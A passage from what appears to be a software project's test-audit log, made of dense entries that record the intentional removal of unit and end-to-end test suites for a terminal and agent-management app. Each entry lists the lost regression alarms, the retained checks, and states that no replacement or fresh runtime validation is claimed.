CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. Broad root-unit discovery loses whole cross-client workspace-sync, terminal-preview, picker-skill-hint and close-routing suites plus reduced worker-stop, remote-owned-record, scanner, mobile-bundle and daemon-health samples. Separate E2E discovery also loses the paired mobile/desktop mirror journey and two unit drivers. Retained callback/table/outer-loop/guard bytes are exact; retained checks do not replace the removed alarms. No app, native device, mixed-version, remote or cross-platform execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner 